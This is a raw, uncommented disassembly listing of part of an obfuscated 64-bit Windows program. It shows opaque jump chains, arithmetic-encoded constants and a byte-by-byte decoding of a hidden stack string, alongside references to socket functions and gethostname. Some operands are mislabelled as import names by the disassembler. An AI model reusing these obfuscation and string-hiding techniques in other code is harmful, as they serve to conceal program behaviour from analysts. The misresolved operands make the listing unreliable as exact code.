lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14012479e
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14012478a
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140124768
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140124754
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140124731
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14012470f
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401246eb
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x1401246c8
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401246b4
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140124692
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401244cf
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x1401244cf
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401244c2
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140124450
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x1401243e1
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140124e0e
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x140124a77
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x140124e58
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140124d8a
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r12b
jmp 0x140124e7b
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140124e7e
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140124ccc
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140124d12
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x140124994
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x140124911
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x1401248c6
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1401249c3
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x140124e7e
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140124e7b
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140124d8c
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
jmp 0x140124dc8
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x40
jmp 0x140124e36
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140124a58
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14012497c
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x140124c92
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x140124a33
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 4
jae 0x140124c6c
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x140124b42
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x140124c5f
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140124e0e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401249ab
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140124ea8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401249d5
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140124cb6
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140124a00
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x140124e7e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401248d5
movabs rdx, 0xfd25b232dc251718
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140124e58
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140124a5f
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
add bl, dl
jmp 0x140124e0e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140124a8e
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140124e36
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140124ab9
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140124e7b
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140124ae4
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140124cde
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140124b13
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140124d12
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140124913
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140124ea8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140124b71
movabs rdx, 0xdf1e31a472e45cd0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140124ea8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140124b8e
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401249c3
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140124bab
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14012481c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140124bd6
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140124d8c
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140124c01
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r12b
jmp 0x140124e58
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140124c30
movabs rdx, 0x59a339ea860a6c48
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140124e36
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14012494a
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140124e0e
mov byte [rbp + r9 + 0x850], bl
jmp 0x140124eb7
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x850]
sub bl, al
sub bl, 0x60
jmp 0x140124707
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x850]
add bl, dl
add bl, r8b
jmp 0x140124cde
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x850], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x850], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140124ea8
movabs rdx, 0x586fb6e44ef8d91c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140124e7b
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rdx, 0x96e5be0d8f9d7404
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0x1c
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x850], cl
jmp 0x140124e7b
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140124e58
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140124dfc
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x850], cl
add r10, r15
jmp 0x140124e58
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
sub r9, r15
jmp 0x140124eb7
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140124eb7
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x850]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401243ce
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401243cb
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x1401243bb
lea rdx, [rbp + 0x16f0f80]
jmp 0x140124f20
lea rdx, [rbp + 0x68a2e4]
jmp 0x140124f20
lea rdx, [rbp + 0x850]
lea rcx, [rbp + 0x460]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x1d20]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140124f52
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1d20]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1d20]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1d20]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x770], 0xcb
mov byte [rbp + 0x771], Ordinal_143
mov byte [rbp + 0x772], 0xac
mov byte [rbp + 0x773], 0xf3
mov byte [rbp + 0x774], Ordinal_79
mov byte [rbp + 0x775], 0xf1
mov byte [rbp + 0x776], WSACleanup
mov byte [rbp + 0x777], 0xf7
mov byte [rbp + 0x778], 0x55
mov byte [rbp + 0x779], 0xf5
mov byte [rbp + 0x77a], 0xa2
mov byte [rbp + 0x77b], 0xfb
mov byte [rbp + 0x77c], 0x66
mov byte [rbp + 0x77d], 0xf9
mov byte [rbp + 0x77e], 0x55
mov byte [rbp + 0x77f], 0xff
mov byte [rbp + 0x780], 0x59
mov byte [rbp + 0x781], 0xfd
mov byte [rbp + 0x782], WSACleanup
mov byte [rbp + 0x783], 0xe3
mov byte [rbp + 0x784], 0x47
mov byte [rbp + 0x785], 0xe1
mov byte [rbp + 0x786], Ordinal_79
mov byte [rbp + 0x787], 0xe7
mov byte [rbp + 0x788], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x789], 0xe5
mov byte [rbp + 0x78a], 0x42
mov byte [rbp + 0x78b], 0xeb
mov byte [rbp + 0x78c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x78d], 0xe9
mov byte [rbp + 0x78e], 0x40
mov byte [rbp + 0x78f], 0xef
mov byte [rbp + 0x790], 0xb8
mov byte [rbp + 0x791], 0xed
mov byte [rbp + 0x792], 0x87
mov byte [rbp + 0x793], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x794], 0x44
mov byte [rbp + 0x795], Ordinal_211
mov byte [rbp + 0x796], 0x40
mov byte [rbp + 0x797], Ordinal_217
mov byte [rbp + 0x798], 0x81
mov byte [rbp + 0x799], Ordinal_217
mov byte [rbp + 0x79a], 0x7e
mov byte [rbp + 0x79b], 0xdb
mov byte [rbp + 0x79c], 0x7c
mov byte [rbp + 0x79d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x79e], WSACleanup
mov byte [rbp + 0x79f], 0xdf
mov byte [rbp + 0x7a0], Ordinal_143
mov byte [rbp + 0x7a1], 0xdd
mov byte [rbp + 0x7a2], 0x64
mov byte [rbp + 0x7a3], Ordinal_200
mov byte [rbp + 0x7a4], WSAGetLastError
mov byte [rbp + 0x7a5], 0xc1
mov byte [rbp + 0x7a6], 0x54
mov byte [rbp + 0x7a7], Ordinal_200
mov byte [rbp + 0x7a8], Ordinal_200
mov byte [rbp + 0x7a9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x7aa], eax
mov word [rbp + 0x7ae], ax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x40
jae 0x140125d0e
movzx r9d, byte [rbp + r10 + 0x770]
mov r8, r9
cmp rdi, r10
ja 0x140125d05
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140125197
movabs rsi, 0xda32561d88143dbe
lea rcx, [r10 + rsi]
mov rax, r9
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r9
add rbx, rcx
sub bl, 0x32
jmp 0x1401251db
je 0x140125c78
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140125c21
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140125bcb
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140125ba2
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140125b5a
movabs rsi, 0xda32561d88143dbe
cmp r11, r10
ja 0x140125cfc
lea rax, [r11 + 4]
cmp rdi, rax
jae 0x14012520e
movabs rdx, 0xe621106c29a91096
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
jmp 0x140125420
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140125b3c
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140125b19
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140125ae9
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140125acb
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x14012574b
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14012572a
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x140125716
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x1401256f3
lea rax, [r11 + 9]
cmp rdi, rax
je 0x1401256df
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401256bc
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x140125699
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140125685
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x140125662
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14012563c
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14012524f
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x140125cd6
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x140125cb0
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x14012544d
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140125427
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x140125404
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x140125618
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x140125604
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x1401255b6
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x14012558a
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x14012524f
lea rdi, [r11 + 0x64]
lea r11, [rdi + 0x400]
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140125576
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x140125555
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x140125534
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x14012550e
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401254eb
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401254ca
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x1401254a7
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140125484
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x140125470
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14012524f
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
jmp 0x14012524f
movabs rdx, 0x7954c208e2fd862a
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x140125242
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401251db
movabs rdx, 0x108b6992c2ac8f32
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14012515f
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x140125b67
movabs rcx, 0x7ca3d7263d200934
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
jmp 0x140125b9d
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x140125bc3
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140125a69
movabs rcx, 0x5f75d2750ca696c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x40
jmp 0x140125a98
movabs rdx, 0xab112639fc7e1b44
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140125b07
movabs rdx, 0xf6ac79feec559fc8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x140125ac4
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x14
jmp 0x14012567e
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14012564b
movabs rdx, 0x4ae772f5239f741a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r10 + 0x770], bl
jmp 0x140125ca8
movabs rcx, 0x9682c6ba1376f89e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
cmp r11, 0x1000
jb 0x1401255a9
movabs rdx, 0xf00e4fc4381099b4
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140125b79
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x140125797
movabs rdx, 0x2db96e43f32601a6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14012576b
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140125c99
movabs rdx, 0xb061b64de9cde808
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x140125c45
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140125ada
movabs rcx, 0x47985dd7c97cf110
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x70
jmp 0x140125b07
movabs rcx, 0x9333b19cb9547594
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x140125a98
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x1401254d9
movabs rcx, 0x2a6a592699037e9c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x140125bc3
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401258a4
movabs rdx, 0xc1a100b078b287a4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x140125b77
lea rax, [r11 + 8]
cmp rdi, rax
jae 0x1401257e6
lea rdx, [r10 + rsi]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [rdi + r11]
cmp rax, 6
je 0x140125a9d
lea rax, [r11 + 0x10]
cmp rdi, rax
jbe 0x1401258bb
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 0x40
jae 0x140125a48
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x140125988
movabs rdx, 0xe41f9575967bc6dc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x1401255d3
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140125812
movabs rcx, 0xcc4220d85352212c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x34
jmp 0x140125c99
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14012582f
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x140125ada
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14012585e
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140125a98
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140125888
movabs rdx, 0x52397dffa41c8a98
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x28
jmp 0x140125a6c
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14012576d
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140125b9d
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401258e5
movabs rdx, 0xb26331447cfb31c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x140125b77
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14012590f
movabs rdx, 0xcf9135f5ad74a436
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7a
jmp 0x140125a6c
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14012592c
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x140125847
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140125958
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x42
jmp 0x140125b07
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401257a9
movabs rcx, 0x5588931cfe3f0da2
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6e
jmp 0x140125c99
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401259b4
movabs rcx, 0x988441b0a6a44258
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x140125c99
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401259de
movabs rdx, 0x14d9a26c6f53950
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
jmp 0x140125ac4
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401259fb
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x140125847
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140125a18
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140125bb1
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401255d3
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x140125b9d
movabs rdx, 0xa472fbff48391530
add rdx, r10
